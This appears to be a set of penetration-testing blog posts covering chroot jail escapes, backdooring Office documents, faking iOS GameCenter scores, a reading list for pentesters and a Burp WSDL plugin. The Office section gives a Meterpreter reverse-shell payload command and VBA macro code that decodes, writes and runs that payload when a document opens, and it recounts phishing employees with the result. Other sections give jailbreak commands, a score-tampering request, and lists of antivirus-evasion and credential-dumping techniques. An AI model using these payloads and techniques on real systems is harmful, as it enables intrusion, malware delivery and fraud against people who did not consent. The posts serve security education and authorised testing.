Attacking Restricted Linux Shells

Lately, I’ve been working with some older technologies, and I’ve gotten to play with some of the restricted access shells that used to be popular. Many older appliances used to include an sshd that allowed users into a chroot jail with restricted access to binaries. This was done in an attempt to allow the user to access the appliance’s functionality without exposing the internal workings of the application. Fortunately, many chroot jails fail to properly set some essential security bits, assuming that restricting binaries is enough to keep users out of the real filesystem, while also giving users root access to their chroot jail. With just these three things, you can break out of any chroot jail:

  1. Root access – you’ll need root access *inside* your chroot jail to execute a breakout. This is the weakest link here, but many chroot jails have been improperly configured, as root privileges are used to access the application functionality that the shell is supposed to expose.
  2. The echo utility – this is built in to several shells, so you can rely on this in many situations.
  3. A file that you have both write and execute privileges on – if the chroot jail has been properly secured you won’t have access to chmod, but check the filesystem for these privileges. This will allow you to get your breakout on the filesystem and to execute it.

Now for the juicy bit. To break out of your jail, the basic steps are pretty simple. Determine if you have chmod available inside your chroot jail. If you don’t, search for a file with both write and execute privileges . You can use find –executable –writable or ls –lR / | grep wx to search entire partitions for these files. This might be difficult if you don’t have find or grep, but you can check common locations for executables like /bin/. Remember the path of this file, as you’ll have to overwrite it later. Spin up a VM with the same kernel as the machine hosting the chroot jail you’re targeting. Grab code for a chroot jail (there are examples all over the internet). For the purposes of this demonstration, I’ve put my code into breakout.c. All this code does is create a file descriptor for the current directory and then makes a new chroot jail in a subdirectory. Since the program has saved a file descriptor to a directory outside this new sub-chroot jail, the program will use fchdir to hop back out of the new chroot jail and onto the main directory structure. Then it cd’s all the way back up to the real root where it execs a new shell. Use gcc to compile the code into a binary on your VM. Use hexdump with the command below to dump the binary into the format you’ll need. This command works just like a C printf statement:

hexdump -ve ‘”\x” 1/1 “%02x”‘ bin.o > echo_this

Copy the contents of the file echo_this, and paste them into an echo command inside the chroot jail:

Echo –ne x7fx45x4cx46… > name_of_file_from_first_step (ie: /bin/writeableBinary)

Finally, you can just execute the file you’ve just overwritten to escape the jail. This will provide you with a root shell on the complete file system of the machine you were jailed in earlier. Preventing this is actually pretty simple, and just relies on some linux security basics that sometimes get neglected in these chroot jails. Don’t let the user run as root, if you can avoid it. If a user has to run as root, restrict access to binaries, and make sure there aren’t any files that they have both write and execute permissions on.


Backdooring Office Documents

At Silent Break Security, our intention, purpose, and mission is to make penetration tests more sophisticated, targeted, and realistic. Companies hire us so they can “practice” their network defenses against attacks. And what good is practice if you’re not doing it correctly? The “doing it correctly” part is on us. On a recent engagement, we were targeting end users using a custom spear phishing campaign to get their domain credentials. The spear phishing campaign finished with great results, but the scope didn’t end there. What can we do with domain creds? Our first (and probably most obvious) choice was to check the users email. It’s usually pretty easy to find a company’s Outlook Web Access or email server. You can use a variety of tools to brute force DNS lookups…or if you’re feeling lucky just try So now we have access to an employee’s email, but how does that get us closer to internal network access? Well, our strategy was to rummage through the user’s email, find a recent Office document that had been passed around in a few emails, and resend it to other employees with an embedded backdoor.

Before backdooring the office document, we need to prep our payload. We have a custom stage 1 backdoor that we lay down, but I suppose most probably use Meterpreter. The problem with Meterpreter is effectively evading AVs and potential egress issues, but that’s outside the scope of this post. Use msfpayload or msfvenom, generate a Meterpreter shell, and let’s get started. Below is the command that we used for the purpose of this example. It’s just the standard msfpayload | msfencode, outputting to an EXE.

msfpayload windows/meterpreter/reverse_https LHOST= LPORT=443 R | msfencode -t exe -o /root/Desktop/msf.exe

To embed the binary inside the Office document, we’ll have to Base64 encode it. There are a lot of ways to do this. We used a simple Python script to convert the backdoor to Base64. Here’s a snippit of Python code that should do the trick.

if os.path.isfile(sys.argv[1]): todo = open(sys.argv[1], 'rb').read()
else: sys.exit(0)

print "[+] Encoding %d bytes" % (len(todo), )
b64 = todo.encode("base64")

print "[+] Encoded data is %d bytes" % (len(b64), )
f = open("base64_output.txt", 'w')
print "[+] Done!"

So, now that we have a Meterpreter payload in Base64 format, we need to embed it in an Office document. If you don’t have the Developer menu at the top in Word or Excel, you’ll need to add it by following these directions. After you’ve added it, click on Visual Basic within the Developer menu. On the left, you can start creating macros by double clicking “ThisDocument” (for Word) or “This Workbook” (for Excel). Before we get too far in writing the macro, let’s go back and convert our Base64 encoded payload to VB. Notepad++ is great for this. Create a macro within Notepad++ and quickly get your payload to look like the following block of text. Basically, we’re adding var1 = var1 & “TVqQ…” to every line.

Dim var1
var1 = var1 & "AAAA6AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v"
var1 = var1 & "ZGUuDQ0KJAAAAAAAAADmaQwpoghieqIIYnqiCGJ6zX7JepIIYnrNfvx6tAhies1+yHrcCGJ6oghj"

Back to the Visual Basic Editor in Office, you can now copy and paste the entire payload into a function named “Private Sub Document_Open()” (for Word) or “Private Sub Workbook_Open” (for Excel). Paste the payload within the function and add “End Sub” afterwards to close the function. The two functions below are what do the magic.  The function decodeBase64(base64) takes the Base64 encoded string and converts it to binary. The “writeBytes(file, bytes)” function takes the binary output and writes it to a file.

Private Function decodeBase64(base64)
  Dim DM, EL
  Set DM = CreateObject("Microsoft.XMLDOM")
  ' Create temporary node with Base64 data type
  Set EL = DM.createElement("tmp")
  EL.DataType = "bin.base64"
  ' Set encoded String, get bytes
  EL.Text = base64
  decodeBase64 = EL.NodeTypedValue
End Function

Private Sub writeBytes(file, bytes)
  Dim binaryStream
  Set binaryStream = CreateObject("ADODB.Stream")
  binaryStream.Type = TypeBinary
  'Open the stream and write binary data
  binaryStream.Write bytes
  'Save binary data to disk
  binaryStream.SaveToFile file, ForWriting
End Sub

The hard part is done. All that is left is calling those two functions with the required parameters, which I’ll leave as homework.  After that is complete, you can execute the file that the “writeBytes()” function just created by calling the “Shell()” VB function on the file. Here’s an example. Easy, right?

Dim retVal
retVal = Shell(outFile, 1)

You might also need to add the following to the very top of the macro.

Option Explicit

Const TypeBinary = 1
Const ForReading = 1, ForWriting = 2, ForAppending = 8

In the end the engagement and the attack strategy were a success. After emailing the document out to 10 different employees, one user opened and enabled the Office macro…and one user was all it took.


Hacking High Scores in iOS GameCenter

I recently wrote a blog post about cracking email hashes from the iOS GameCenter application. During my research on the issue, I noticed that there were a number of games where users had insanely high scores. Lots of the users also had the exact same score (9,223,372,036,844,775,807) for each of the games that they played. Coincidentally this number is the largest possible signed integer value that you can have. It turns out that getting these high scores isn’t that hard to do.


In order to modify our scores, we will need to proxy our iOS traffic through Burp. In order to properly intercept the encrypted iOS traffic, you will also need to install the Portswigger certificate on your iOS device At this point, you will want your Burp listener to be on the same wireless network as your iOS device. You also need to have your Burp listener set to listen on all interfaces to allow your iOS device to proxy through it. The iOS proxy settings are fairly easy to set up. Just enter your Wi-Fi settings, tap on the blue and white arrow-in-a-circle (to the right of your SSID), and scroll down to your HTTP Proxy settings. Set the server IP to your Burp listener and set your port to the Burp listener port. Visit an https website on your iOS device to see if the Portswigger certificate is properly installed. If you don’t have any issues (or SSL warnings), you should be ready to go.

Modifying Scores

Once your iOS device is properly proxying traffic through your Burp listener, you will want to generate a score to post to GameCenter. For most games, this is not very hard to do. We will be using “Cut the Rope”as our example. Open up the first level, set Burp to intercept traffic, and complete the level (you cut one rope, it’s really easy). At this point you will see the “Level Complete” screen on your iOS device and the following request will come through Burp.

POST /WebObjects/GKGameStatsService.woa/wa/submitScores HTTP/1.1
User-Agent: gamed/ (iPhone4,1; 6.1.2; 10B146; GameKit-781.18)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Accept: */*
Some-Cookies: have been removed to make this shorter
Content-Type: application/x-apple-plist
Connection: keep-alive
Proxy-Connection: keep-alive
x-gk-bundle-version: 2.1
Content-Length: 473
x-gk-bundle-id: com.chillingo.cuttherope
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "">
<plist version="1.0">

If you are seeing other requests come through, just forward them and keep your eye out for the request for the “submitScores” page. Before forwarding the score on to Apple, you will want to modify the score. The highest possible value that you can submit is 9,223,372,036,844,775,807. Replace the “score-value” stored in the tags (bolded in the example) with 9223372036844775807 and forward the request. You should receive a “status 0” response from Apple and your score will be updated in GameCenter.



I don’t intend on modifying my high scores for each of my GameCenter games. I really don’t care that much about the scores, but some people do. Given Apple’s current model for GameCenter leaderboards, this may not be an easy fix. At a minimum, Apple may want to do some checking on these high scores to weed out any of the users that are maxing out their top scores. For now, I’m going to put the iPhone down and get some work done.


Resources for Aspiring Penetration Testers

At some point, all penetration testers get asked, “Where did you learn all this stuff?” In my experience, the question often comes from clients and students interested in pen testing. Usually, they’re asking because they aren’t sure where to start. There are a number of two- and four-year college programs that can provide a nice structured approach, but generally I think penetration testing is like any other skillset; if you find the right resources, a good direction, and study hard, you’ll acquire the skills you’re looking for. However, I will say that it does help to already have a strong IT background. Regardless of the path taken, it’s nice to have some decent resources along the way. In this blog, I’ve put together a list of books and online training resources that cover topics and skills that I’ve found useful as a penetration tester. Hopefully the list is also useful to those of you interested in getting your feet wet. Have fun and Hack Responsibly!

Recommended Books

Read, read, and read some more. Recommending that people “Read the F***ing Manual” (RTMF) is just as important today as it was 20 years ago. The list below is really directed at specific tasks that most penetration testers have to perform. I’m aware that there are some obvious gaps in the list, but I haven’t found any books that I really love related to privilege escalation, network attacks, AV evasion, or penetration testing as a profession. Regardless, I hope you enjoy the books as much as I have.

  1. Web Application Hacker’s Handbook 2nd Edition
    Every penetration tester should have a copy of this book. It has good coverage on a lot of web application attack methods with an emphasis on Burp Suite, which a very robust local HTTP proxy.
  2. SQL Injection Attack and Defense
    This book is very complimentary to the Web Application Hacker’s Hand Book. It provides a pretty straightforward approach for identifying and exploiting SQL injection flaws on common database platforms. As a side note, I also recommend playing with Burp Suite and SQLMap while learning how to perform SQL injection attacks.
  3. Web Application Obfuscation
    This book is also complimentary to the Web Application Hacker’s Hand Book and SQL Injection Attack and Defense. It provides a decent overview of techniques that can be used to essentially hide your attacks from web application firewalls, intrusion prevention systems, and web application input filters.
  4. Database Hacker’s Handbook
    This is an oldie but a goody. It provides some great coverage on how to attack the common database platforms. This can come in handy if you’re hoping to escalate your privileges on the database level after finding an SQL injection issue.
  5. Managed Code Rootkits
    This book provides manual and automated methods for reverse engineering managed code applications and frameworks. It covers the .NET framework, Java RTE., and Dalvik applications. I thought it was interesting because it has a large focus on actually poisoning the frameworks instead of the application directly. However, it should be noted that this book does not focus on advanced debugging techniques like most reversing books.
  6. A Guide to Kernel Exploitation: Attacking the Core
    Not all penetration testers spend their days developing kernel exploits, but it’s still good to know the basics. This book has a focus on understanding kernel exploits and how they actually expose operating system vulnerabilities. So far, it’s been a good read, but I haven’t finished it yet. Someone also recently recommended The Shellcoder’s Handbook to me. So consider that as well.
  7. Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software
    I liked this one a lot. It provides a good assembly primer which can come in handy in a lot of ways during a penetration test. It also provides decent coverage in areas that you would expect like static and dynamic malware analysis, file structures, test handlers, packers, and debugging. I’ve also heard that the IDA PRO Book is great if you want to become the reversing master of the universe. However, I don’t actually own it at the moment.
  8. Gray Hat Python
    I really like this book as well. It’s a quick read and it does a good job of describing different debugging, injection, and fuzzing techniques. It also provides a lot of sample code that can be used to perform tasks like hooking and DLL/code injection. I’ve found both techniques to be quite handy for avoiding anti-virus solutions and stealing data protected with encryption.
  9. Windows® Internals, Part 1 / Part 2: Covering Windows Server® 2008 R2 and Windows 7
    I will most likely never finish either of these books in their entirety. However, they do make great references. If you ever need to know anything about how any part of Windows works, these are the go-to books.
  10. Network exploration and security auditing cookbook
    Nmap has become one of the fundamental “tools of the trade” over the past decade or so. In my opinion, it’s as valuable to administrators as it is to attackers. I think that every IT professional should know what Nmap is and how to use it. This book is a great start for someone who has not been exposed to it in the past. It covers everything from basic system discovery to writing your own plugins to scan for vulnerabilities.
  11. MetaSploit: A Penetration Tester’s Guide
    MetaSploit has also become one of the fundamental “tools of the trade” in recent years. There is a lot of community involvement and I think this is a good book for beginners who want to learn more about MetaSploit and some practical use cases.

Free Online Training and Vulnerable VMs

Obviously, there are ton of great blogs, training sites, and vulnerable VMs/application out there. I will not be coving all of them. However, I’ve tried to include online resources that are valuable for beginners and veterans alike.


SecurityTube is like YouTube, but the videos are dedicated to teaching penetration test skills. Our intern actually recommended this site to me before I knew what it was. Since that time, I’ve been checking every time I start learning a new topic just to see if they have already covered it. I feel the quality of the tutorials is great and obviously recommend it.


It’s not a pretty site, but it provides a lot of good content. It is also known for releasing video presentations from security conferences is record time.

MetaSploit Unleashed

This web site provides a free online course all about MetaSploit. They do ask for donations to fund Hackers for Charity which raises funds for underprivileged children in East Africa. It’s a great site with a great cause – I recommend checking it out.


Reading only gets you so far. Most people in IT are hands on learners so, in order to get your hands dirty, I recommend checking out VulnHub. This is a relatively new site that supplies virtual machines that are designed to be vulnerable. For those of you looking for a quick way to set up a testing lab at home, this may be the most cost/time affective solution.

Bug bounties

If you feel you have the skills, now they can pay the bills.  There are lots of companies willing to pay real money if you find a big issue in their product. Below are  a few sites dedicated to consolidating a list of the companies currently paying “bug bounties”.

Good Google Searches

As I mentioned earlier, I haven’t been able to find books that cover everything I’d like them to. Where books fail, Google usually succeeds. I suggest using it to find good archived presentations from security conferences such as Defcon, Blackhat, Derby con etc. Below I’ve also provided some topics that you might find interesting.

Windows Penetration and Escalation

In my experience, 90% of enterprise environments are Windows-based operating systems that centralized access control around Active Directory Services. Therefore, it’s good to have an understanding of the tools and techniques used to escalate privileges in those environments. Unfortunately, I have yet to find a single book that covers well; below are some basic keywords, vulnerability categories, and tools to get you started.

  • Default passwords
  • Clear text passwords
  • Excessive privileges: Users, services, gui, files, registry, memory
  • Insecure local and remote services
  • Insecure schedule tasks
  • Local and remote exploits
  • Password guessing: medusa, hydra, bruter, and MetaSploit
  • Password and hash dumping: Cain, lsa secrets, credential manager, fgdump, mimikatz, MetaSploit post modules
  • Password hash cracking: john the ripper, hashcat, lophtcrack, masking, Cain
  • Impersonating users: incognito, mimikatz, pass the hash, MetaSploit psexec, shared accounts, smbexec

Linux Penetration and Escalation

Even though Linux and UNIX systems aren’t in the majority on most networks, they still have a role to play and so, naturally, it’s good to understand their soft spots as well. For the most part, Linux has many of the same basic keywords and vulnerability categories as Windows:

  • Default passwords
  • Clear text passwords
  • Excessive privileges: Users, services, gui, files, memory, setuid, orphan files, world writable files, sudoers configurations
  • Insecure local and remote services
  • Insecure schedule tasks
  • Local and remote exploits
  • Password guessing: medusa, hydra, bruter, and MetaSploit
  • Password and hash dumping
  • Password hash cracking: john the ripper, hashcat, masking

Man in the Middle (MITM) Attacks

For some of you, MITM attacks may be a new concept so here is brief description. If a workstation is communicating with a server, and you are routing traffic between them, then you are the MITM. It’s a great position to be in for monitoring and manipulating traffic. There are lots of ways to acquire a MITM position using a range of protocol attacks. To get you started, I’ve provided a list of 10 protocols and tools for attacking systems on a LAN.

  • Address Resolution Protocol (ARP): Cain, ettercap, Intercepter-NG (by Ares), Subterfuge, easycreds
  • NetBIOS Name Service  (NBNS): MetaSploit, Intercepter-NG (by Ares),  and responder
  • Link-local Multicast Name Resolution (LLMNR): MetaSploit, Intercepter-NG (by Ares), and responder
  • Pre-Execution Environment (PXE): MetaSploit
  • Dynamic Trunking Protocol (DTP): Yersinia
  • Spanning-Tree Protocol (STP): Yersinia, ettercap (lamia plugin)
  • Hot Stand-by Router Protocol (HSRP): Yersinia
  • Dynamic Host Configuration Protocol (DHCP): Intercepter-NG (by Ares), MetaSploit, manual setup
  • Domain Name Services (DNS): MetaSploit, ettercap, dsniff, zodiac, ADMIdPack
  • VLAN Tunneling Protocol (VTP): Yersinia, voiphopper, or modprobe+ifconfig

Anti-Virus Evasion

Anti-virus evasion is often a requirement during penetration testing. I personally break down AV evasion approaches into the four buckets below. I provided a list of keywords for each category to get your searches started. I’m also planning to release a few blogs down the line that will provide more options and actual examples.

  • Bypass Weak AV Configurations
    • Uninstall anti-virus, disable services, terminate processes, disabled via the GUI, create an exception policy for all .exe files, or execute from external media.
  • Source Code Manipulation
    • Remove comments, randomize function and variable names, encode or encrypt content, delay execution of malicious code, use alternative functions, or insert superfluous functions that change execution flow.
  • Binary Manipulation
    • Bind with white listed applications, pack or compress, modify strings, modify resources, modify imports table, modify assembly to do things mentioned in source code manipulation. Common packers: upx, iexpress, and mpress.
  • Process Manipulation
    • Inject malicious code or DLLs into local or remote process. Native languages can do it directly or through a managed code framework like .net. Powershell is a popular example that the MetaSploit team (amongst others) has been using a lot lately. Also, process manipulation is commonly done with python code that is converted to a portable executable.

Hacking Web Services with Burp

WSDL (Web Services Description Language) files are XML formatted descriptions about the operations of web services between clients and servers. They contain possible requests along with the parameters an application uses to communicate with a web service. This is great for penetration testers because we can test and manipulate web services all we want using the information from WSDL files. One of the best tools to use for working with HTTP requests and responses for applications is Burp. The only downside with Burp is that it does not natively support parsing of WSDL files into requests that can be sent to a web service. A common work around has been to use a tool such as Soap-UI and proxy the requests to Burp for further manipulation. I’ve written a plugin for Burp that takes a WSDL request and parses out the operations that are associated with the targeted web service and creates SOAP requests which can then be sent to a web service. This plugin builds upon the work done by Tom Bujok and his soap-ws project which is essentially the WSDL parsing portion of Soap-UI without the UI.

The Wsdler plugin along with all the source is located at the Github repository here:

Wsdler Requirements

  1. Burp 1.5.01 or later
  2. Must be run from the command line

Starting Wsdler

The command to start Burp with the Wsdler plugin is as follows:
java -classpath Wsdler.jar;burp.jar burp.StartBurp

Sample Usage

Here we will intercept the request for a WSDL file belonging to an online store in Burp.

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After the request for the WSDL has been intercepted, right click on the request and select Parse WSDL.

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A new Wsdler tab will open with the parsed operations for the WSDL, along with the bindings and ports for each of the operations. Operations are synonymous with the requests that the application supports. There are two operations in this WSDL file, OrderItem and CheckStatus. Each of these operations has two bindings, for simplicity’s sake, bindings describe the format and protocol for each of the operations. The bindings for both of the operations are InstantOrderSoap and InstantOrderSoap12. The reason there are two bindings for each of the operations is because the WSDL file supports the creation of SOAP 1.1 and 1.2 requests. Finally, the ”Port” for each of the operations is essentially just the URL the request will be sent to. The full specification for each of the Objects in WSDL files can be read here:

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The SOAP requests for the operations will be in the lower part of the Burp window. The parsing functionality will also automatically fill in the data type for each of the parameters in the WSDL operation. In this example, strings are filled in with parts of the Aeneid and integers are filled in with numbers.

The request that Wsdler creates is a standard Burp request, so it can be sent to any other Burp function that accepts requests (intruder, repeater, etc.).

Here the request is sent to intruder for further testing. Because the request is XML, Burp automatically identifies the parameters for intruder to use.

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Currently, the plugin only supports WSDL specification 1.1, but there is work on supporting 1.2 / 2.0. Also, I will be adding the option to specify your own strings and integers when the plugin automatically fills in the appropriate data type for each of the parameters in the parsed operations. If there are any bugs or features that you would like to see added, send me an email or create a ticket on Github.